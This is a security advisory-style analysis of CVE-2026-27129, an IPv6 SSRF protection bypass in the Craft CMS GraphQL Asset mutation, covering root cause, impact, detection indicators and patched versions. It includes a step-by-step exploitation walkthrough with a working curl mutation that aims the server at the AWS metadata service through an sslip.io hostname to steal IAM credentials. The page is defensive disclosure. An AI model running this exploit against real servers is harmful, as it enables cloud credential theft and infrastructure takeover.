CVE-2026-27129: 
PHP vulnerability analysis and mitigation

CVE-2026-27129 is a Server-Side Request Forgery (SSRF) protection bypass vulnerability in Craft CMS's GraphQL Asset mutation, specifically exploiting an IPv6 hostname resolution flaw. It affects Craft CMS versions 4.5.0-RC1 through 4.16.18 and 5.0.0-RC1 through 5.8.22, and represents a bypass of the prior SSRF fix for CVE-2025-68437. The vulnerability was published on February 23–24, 2026, with patches released in versions 4.16.19 and 5.8.23. It carries a CVSS v3.1 base score of 6.5 (Medium) (GitHub Advisory).

The root cause (CWE-918: SSRF) lies in Craft CMS's use of PHP's gethostbyname() function for SSRF validation in src/gql/resolvers/mutations/Asset.php. This function only resolves IPv4 (A record) addresses; when a hostname has only AAAA (IPv6) records, it returns the hostname string unchanged rather than an IP address. The blocklist comparison then fails because a hostname string never matches the blocked IPv4 addresses (e.g., 169.254.169.254), allowing the request to pass validation. The HTTP client (Guzzle) subsequently performs its own DNS resolution — including AAAA records — and successfully connects to the IPv6 cloud metadata endpoint. Exploitation requires an authenticated user with GraphQL schema permissions to edit and create assets in a volume, or a misconfigured Public Schema with write permissions (GitHub Advisory, Craft CMS Advisory).

Successful exploitation allows an authenticated attacker to bypass SSRF protections and force the Craft CMS server to make HTTP requests to internal resources, including cloud metadata endpoints such as AWS EC2 IMDS (fd00:ec2::254), GCP metadata (fd20:ce::254), and internal loopback services. In cloud-hosted environments, this can result in theft of IAM role credentials, service account tokens, and other sensitive infrastructure secrets stored at metadata endpoints. Retrieved content is saved as an asset file accessible to the attacker, enabling credential exfiltration and potential full infrastructure compromise — including lateral movement to other cloud services or creation of new compute instances (GitHub Advisory, Craft CMS Advisory).

A proof-of-concept exploit is publicly documented in the GitHub Security Advisory, including specific GraphQL mutation payloads and bypass hostnames using the sslip.io wildcard DNS service. There is no evidence of active in-the-wild exploitation at this time. The EPSS score is approximately 0.03% (2nd percentile), indicating low near-term exploitation probability. The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires low attack complexity but does require authenticated access with specific GraphQL schema permissions (GitHub Advisory).

1. Reconnaissance: Identify a Craft CMS instance running a vulnerable version (4.5.0-RC1–4.16.18 or 5.0.0-RC1–5.8.22) with GraphQL asset mutations enabled. Confirm the target is hosted in a cloud environment (AWS, GCP) to maximize impact.
2. Obtain GraphQL credentials: Acquire a valid GraphQL Bearer token for an account with "Edit assets" and "Create assets" permissions on a volume, or identify a misconfigured Public Schema with write access.
3. Verify bypass payload: Confirm the bypass hostname resolves only via IPv6 using dig fd00-ec2--254.sslip.io A +short (returns empty) and dig fd00-ec2--254.sslip.io AAAA +short (returns fd00:ec2::254).
4. Enumerate IAM role: Send a GraphQL mutation to the target's API endpoint with the bypass URL targeting the AWS IMDS credential listing path:

curl -sk "https://TARGET/index.php?p=admin/actions/graphql/api" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer YOUR_GRAPHQL_TOKEN" \
  -d '{"query": "mutation { save_photos_Asset(_file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/\", filename: \"role.txt\" }) { id } }"}'

5. Retrieve credentials: Access the saved asset file (e.g., /userphotos/photos/role.txt) to obtain the IAM role name, then repeat the mutation targeting /latest/meta-data/iam/security-credentials/ROLE_NAME to retrieve temporary AWS credentials.
6. Leverage credentials: Use the stolen AWS credentials to access cloud services, enumerate resources, or escalate privileges — for example, by creating new EC2 instances with attacker-controlled SSH keys (GitHub Advisory, Craft CMS Advisory).

• Network: Outbound HTTP requests from the Craft CMS server to IPv6 cloud metadata addresses (e.g., fd00:ec2::254, fd20:ce::254) or to wildcard DNS hostnames ending in .sslip.io, .nip.io, or .xip.io; unusual DNS AAAA record lookups for hostnames matching the pattern fd00-ec2--*.sslip.io.
• Logs: GraphQL API access logs (/index.php?p=admin/actions/graphql/api) showing POST requests with mutation bodies containing _file: { url: "http://fd00-ec2--*.sslip.io/..." } or similar IPv6-bypass payloads; repeated asset mutation requests from a single authenticated user.
• File System: Unexpected files in asset volumes (e.g., role.txt, creds.json) containing AWS IAM role names or JSON-formatted cloud credential objects with fields like AccessKeyId, SecretAccessKey, and Token.
• Process/Application: Guzzle HTTP client activity in application logs showing requests to internal metadata endpoints or IPv6 addresses not associated with normal CMS operation (GitHub Advisory).

Upgrade Craft CMS to version 4.16.19 or later (for the 4.x branch) or 5.8.23 or later (for the 5.x branch), which replace gethostbyname() with dns_get_record() to resolve both IPv4 and IPv6 addresses and add IPv6 prefix blocklisting in Asset.php. As interim mitigations, restrict GraphQL schema permissions so only trusted authenticated users can edit and create assets, and ensure the Public Schema does not have write permissions. Additionally, implement network-level controls to block outbound requests from the CMS server to cloud metadata IP ranges (both IPv4 and IPv6), and consider blocking wildcard DNS services (.sslip.io, .nip.io, .xip.io) at the firewall or DNS resolver level (GitHub Advisory, Patch Commit).

The vulnerability was reported by security researchers RajChowdhury240 and rlarabee and published by Craft CMS maintainer angrybrad via the GitHub Security Advisory program on February 23, 2026. A technical write-up was published at infinitsec.net detailing the cloud metadata SSRF bypass via IPv6 resolution shortly after disclosure. The advisory received attention from automated CVE tracking services and threat intelligence platforms, but no significant broader media coverage or notable public researcher commentary beyond the advisory itself has been identified (GitHub Advisory).